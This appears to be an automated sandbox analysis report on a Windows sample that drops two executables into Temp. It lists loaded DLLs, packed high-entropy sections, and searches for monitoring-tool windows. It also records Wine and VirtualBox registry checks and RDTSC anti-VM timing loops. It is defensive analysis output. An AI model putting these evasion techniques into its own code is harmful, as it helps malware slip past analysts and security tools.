Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: hBBxlxfQ3F.exe

Static file information: File size 1892864 > 1048576

Source: hBBxlxfQ3F.exe

Static PE information: Raw size of ztozznex is bigger than: 0x100000 < 0x1a5e00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe, 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Unpacked PE file: 3.2.CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.f60000.0.unpack :EW;.rsrc:W;.idata :W;ljmymddw:EW;ajdgxuni:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Unpacked PE file: 4.2.ODUPR5K9IIA1563VE194RM.exe.b00000.0.unpack :EW;.rsrc:W;.idata :W;ojvirhut:EW;ueswzroq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ojvirhut:EW;ueswzroq:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: hBBxlxfQ3F.exe	Static PE information: real checksum: 0x1d0b59 should be: 0x1d8183
Source: ODUPR5K9IIA1563VE194RM.exe.0.dr	Static PE information: real checksum: 0x2c9bdd should be: 0x2c4122
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.0.dr	Static PE information: real checksum: 0x2b95dc should be: 0x2bba7d

Source: hBBxlxfQ3F.exe	Static PE information: section name:
Source: hBBxlxfQ3F.exe	Static PE information: section name: .idata
Source: hBBxlxfQ3F.exe	Static PE information: section name:
Source: hBBxlxfQ3F.exe	Static PE information: section name: ztozznex
Source: hBBxlxfQ3F.exe	Static PE information: section name: wetdfmoz
Source: hBBxlxfQ3F.exe	Static PE information: section name: .taggant
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.0.dr	Static PE information: section name:
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.0.dr	Static PE information: section name: .idata
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.0.dr	Static PE information: section name: ljmymddw
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.0.dr	Static PE information: section name: ajdgxuni
Source: CDYE6QFT7BVP6AK0822DTDO89F1Y.exe.0.dr	Static PE information: section name: .taggant
Source: ODUPR5K9IIA1563VE194RM.exe.0.dr	Static PE information: section name:
Source: ODUPR5K9IIA1563VE194RM.exe.0.dr	Static PE information: section name: .idata
Source: ODUPR5K9IIA1563VE194RM.exe.0.dr	Static PE information: section name: ojvirhut
Source: ODUPR5K9IIA1563VE194RM.exe.0.dr	Static PE information: section name: ueswzroq
Source: ODUPR5K9IIA1563VE194RM.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_011CDCB1 push ebx; iretd	0_3_011CDCB2
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_0114EE96 push ebp; retf	0_3_0114EEAA
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_0114D6A3 push 32AD2072h; retf	0_3_0114D6AE
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_0114EEC4 push ebp; iretd	0_3_0114EECA
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_01183E10 push ecx; iretd	0_3_01183E11
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_01183E10 push ecx; iretd	0_3_01183E11
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_01183E10 push ecx; iretd	0_3_01183E11
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Code function: 0_3_01183E10 push ecx; iretd	0_3_01183E11
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_00F722A0 push ecx; mov dword ptr [esp], edi	3_2_00F75316
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010E750B push 36B31500h; mov dword ptr [esp], ecx	3_2_010E7553
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010E750B push edx; mov dword ptr [esp], edi	3_2_010E758C
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010E750B push ebp; mov dword ptr [esp], esi	3_2_010E75D1
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010E750B push 5DEAFC3Ah; mov dword ptr [esp], esi	3_2_010E75EA
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010E76BA push 37874954h; mov dword ptr [esp], esi	3_2_010E7725
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010E76BA push ebx; mov dword ptr [esp], 6E720E00h	3_2_010E7776
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010E76BA push 5EDEBF39h; mov dword ptr [esp], edi	3_2_010E77F9
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_00F6E9D3 push ebx; mov dword ptr [esp], ecx	3_2_00F6E9E9
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_00F6E9D3 push edx; mov dword ptr [esp], eax	3_2_00F6EA01
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010EE104 push edx; mov dword ptr [esp], edi	3_2_010EE11C
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010F911B push 1B5AAC81h; mov dword ptr [esp], esi	3_2_010F9120
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010FF16A push esi; mov dword ptr [esp], esp	3_2_010FF2A2
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_00F6C09F push 54BA76F9h; mov dword ptr [esp], edi	3_2_00F6C880
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010FD177 push ebp; mov dword ptr [esp], 11BD33E6h	3_2_010FD696
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_00F7308E push edx; mov dword ptr [esp], 0989C78Ch	3_2_00F749E3
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010EE188 push 2EE208E6h; mov dword ptr [esp], edx	3_2_010EE19A
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010EE188 push edx; mov dword ptr [esp], edi	3_2_010EE1A3
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010FF183 push esi; mov dword ptr [esp], esp	3_2_010FF2A2
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_00F6F060 push 16802729h; mov dword ptr [esp], edx	3_2_00F6F068
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_010FD1A6 push ebx; mov dword ptr [esp], eax	3_2_011048B0
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_00F6C046 push 1C914319h; mov dword ptr [esp], esi	3_2_00F6C063
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Code function: 3_2_00F71043 push ebp; mov dword ptr [esp], ecx	3_2_00F736B8

Source: hBBxlxfQ3F.exe	Static PE information: section name: entropy: 7.981663821958177
Source: hBBxlxfQ3F.exe	Static PE information: section name: ztozznex entropy: 7.9532560837506825

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File created: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe			Jump to dropped file
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File created: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D44C50 second address: D44C72 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4010EA3D8Dh 0x00000008 jmp 00007F4010EA3D87h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D43D3D second address: D43D4F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F4010E98D48h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D43D4F second address: D43D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D43D53 second address: D43D85 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4010E98D46h 0x00000008 jmp 00007F4010E98D53h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jc 00007F4010E98D46h 0x00000019 js 00007F4010E98D46h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D43D85 second address: D43D8D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D4437C second address: D44380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D44507 second address: D44520 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D82h 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46B79 second address: D46B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46B7F second address: D46BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 add cl, 00000065h 0x0000000c push 00000000h 0x0000000e jmp 00007F4010EA3D85h 0x00000013 push ECFB373Fh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46BAD second address: D46BB7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46BB7 second address: D46BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D46BBD second address: D46BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
